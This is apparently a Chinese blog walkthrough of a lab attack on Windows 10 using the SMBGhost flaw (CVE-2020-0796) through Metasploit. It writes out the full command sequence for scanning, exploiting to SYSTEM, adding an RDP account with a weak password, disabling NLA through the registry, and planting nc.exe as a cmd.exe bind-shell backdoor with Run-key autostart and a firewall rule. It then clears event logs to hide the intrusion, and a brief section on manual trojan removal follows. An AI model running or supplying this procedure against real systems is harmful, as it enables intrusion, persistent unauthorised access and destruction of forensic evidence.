永恒之黑漏洞(cve-2020-0796)利用及后门维持权限
永恒之黑漏洞(cve-2020-0796)利用及后门维持权限
实验环境:
kali主机,攻击机,ip:192.168.1.53
目标主机,windows10 1903,ip:192.168.1.60
实验目标:1.扫描获取目标信息,确认攻击目标
- 通过漏洞渗透目标主机,获取权限
- 维持权限,在目标主机上植入后门,通过自启动、计划任务等手段自动下载、启动木马程序
- 清除日志,扫除入侵痕迹。
- 反黑:升级补丁,通过日志查找入侵凭证,查杀被植入的木马
目录
使用永恒之黑漏洞对win10进行渗透 1
1.1扫描获取目标信息 1
1.1.1端口扫描 1
1.1.2服务识别 2
1.1.3漏洞查找 3
1.1.4 搜索MSF中对应模块 3
1.2利用MSF模块获取目标主机权限 4
1.2.1 加载模块 4
1.2.2 运行漏洞利用模块 5
1.3后渗透维持权限 7
1.3.1 远程桌面连接目标 7
1.3.2修改注册表启动项长久维持权限 10
1.3.3手动木马的查杀 16
1.1扫描获取目标信息
使用扫描工具nmap对目标进行扫描
1.1.1端口扫描
Kali主机对目标进行扫描
─# nmap -sS 192.168.1.15 192.168.1.60
都开放445端口,提供smb服务
1.1.2服务识别
进入msf框架,对目标主机的smb版本识别
加载SMB版本扫描模块
msf6 > use auxiliary/scanner/smb/smb_version
查看配置
msf6 auxiliary(scanner/smb/smb_version) > show options
配置参数
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.5 192.168.1.60
运行模块
msf6 auxiliary(scanner/smb/smb_version) > run
可以得到2个主机的smb版本都是SMB 3.1.1
1.1.3漏洞查找
根据smb服务的版本使用searchsploit软件搜索SMB 3.1.1对应版本存在的漏洞
└─# searchsploit SMB 3.1.1
SMB 3.1.1协议存在可以利用poc
选择第二个
Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation | windows/local/48267.txt
将poc利用文件复制到当前目录
└─# searchsploit -m 48267
打开文件48267.txt
└─# cat 48267.txt
得到SMB 3.1.1对应的漏洞为CVE-2020-0796
1.1.4 搜索MSF中对应模块
msf6 > search cve-2020-0796
MSF中存在CVE-2020-0796利用模块
1.2利用MSF模块获取目标主机权限
成功利用cve-2020-0796模块需要三个条件:
- Windows10 的版本号为1903或1909,并且没有打补丁KB4551762
- 445端口开启(网络共享开启)
- 网络模式为“专用”
1.2.1 加载模块
开启kali终端
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
配置参数
payload使用默认的
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.1.15 192.168.1.60
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
msf6 exploit(multi/handler) > run
1.2.2 运行漏洞利用模块
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run
没有完成渗透
提示:Disable the DefangedMode option to proceed.
要将DefangedMode设置为false
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set DefangedMode false
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run
提示缺失文件
在另外终端将缺失文件解压到/usr/share/metasploit-framework/下
上传缺失文件包
└─# ll
解压到/usr/share/metasploit-framework/
└─# unzip external.zip -d /usr/share/metasploit-framework/
继续运行漏洞利用模块
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run
对目标渗透成功,已经获取到system权限
1.3后渗透维持权限
后渗透的目的是长久保持对目标的权限,主要手段是植入后门
1.3.1 远程桌面连接目标
1.kali主机上使用enable-rdp模块创建目标主机rdp用户
把当前连接保存到后台不退出连接
meterpreter > background
进程已经保存到后台,session为1
- 加载后渗透模块enable_rdp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > use post/windows/manage/enable_rdp
查看配置参数
msf6 post(windows/manage/enable_rdp) > show options
创建目标主机RDP用户test
msf6 post(windows/manage/enable_rdp) > set USERNAME test
目标主机RDP用户test的密码
msf6 post(windows/manage/enable_rdp) > set PASSWORD 123456
加载已经建立连接的进程号session为1
3.运行enable_rdp模块
msf6 post(windows/manage/enable_rdp) > run
远程创建rdp账号test,密码123456成功
4.查询目标主机NLA(网络级身份验证)是否开启
如果目标主机开启NLA,建立的RDP账号将不能通过RDP连接到目标主机
查询已经获取shell的session
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > sessions
回到前期获取权限session
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > sessions -i 2
通过查询目标机注册表来确定是否开启了 NLA。
meterpreter > reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer
meterpreter > reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication
根据查询结果 SecurityLayer(2 )和 UserAuthentication (1)的值,可以知道目标机开启了 NLA以上说明目标主机上的NLA(网络级身份验证)处在开启状态,不能够直接用rdp连接目标主机。
- 通过远程修改注册表关闭NLA
通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0,就可以关闭NLA。
meterpreter reg 指令参数:
reg -h # 查看帮助
-k #注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
修改注册表将 SecurityLayer的值改为0
meterpreter > reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer -t REG_DWORD -d 0
修改注册表将UserAuthentication 的值改为0
meterpreter > reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication -t REG_DWORD -d 0
NLA关闭成功
- 另开终端建立rdp连接
└─# rdesktop 192.168.1.60 -u test -p 123456
远程桌面连接成功
1.3.2修改注册表启动项长久维持权限
直接利用漏洞获取目标权限不稳定,为长久的获取目标主机的权限,需要通过植入后门来实现。
实验过程中的木马因没有做过免杀,能够被windows的defender发现并杀掉,为保证试验成功,将C盘排除。
- 通过已获取的权限上传后门
后门可以是MSF生成的,甚至可以是勒索病毒。这里使用nc.exe作为后门
nc也被称为网络瑞士军刀,功能强大
nc 参数解释:
L 用户退出后重新进行端口侦听
d 后台运行
p 指定端口
-e 连接后执行的程序
在kali主机上利用已经获取的shell上传nc.exe
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
Nc.exe上传到c盘下windows/system32文件夹下
- 注册表添加启动项执行 nc 反弹 shell 命令
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
目标重启后将启动后门程序
3.修改防火墙允许 443 端口访问网络
运行shell,执行windows命令修改防火墙
meterpreter > shell
新建一个防火墙规则允许入栈访问443端口
C:\Windows\system32>netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow
4.自启动后门并连接
重启Windows 10
kali主机上新开一个终端
连接失败,原因用户账号没有登录
用户登录后
检查端口开放
443端口处在监听状态
kali上重新连接
已经获得shell
小结:上传木马后让木马自动运行的方式:注册表自启动项、添加计划任务、注入到常用的exe文件等等
1.3.3删除windows日志
1.查看windows日志
Windows10的安全日志可以看到所有的登录和登录失败的记录,根据日志记录可以溯源和固定证据。入侵后一般要删除日志。
按下组合键win+r,然后输入’eventvwr.exe‘
登录信息都可以看到
2.删除日志
常用两种方法
一是在获取权限后直接使用meterpreter的删除日志命令
另外是利用专门编写的删除windows日志文件的批处理文件删除日志
打开日志删除文件查看里面的命令
└─# cat 日志删除.bat
上传日志删除批处理文件
因编码问题不能上传中文文件名的文件,改名
mv 日志删除.bat rizhishanchu.bat
上传日志删除文件
meterpreter > upload /root/rizhishanchu.bat c:\\windows\\system32
执行删除日志命令
meterpreter > execute -f c:\\windows\\system32\\rizhishanchu.bat
删除批处理文件
meterpreter > del c:\\windows\\system32\\rizhishanchu.bat
- 查看windows日志
1.3.4手动木马的查杀
手动查杀木马的思路:
端口----进程-----文件
- 检查可疑连接端口及进程
netstat -ano
发现连接外部ip4444端口的连接PID为2504的很可疑
2.查找进程对应的程序名称
tasklist |findstr 2504
3.进一步查找具体路径
wmic process where processid=2504 get processid,executablepath,name
4.杀木马进程
taskkill /PID 2504 /F
或者
ntsd -c q -p 2504
5.删除木马文件
Delete c:/windows/system32/muma.exe
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端
· AI Agent开发,如何调用三方的API Function,是通过提示词来发起调用的吗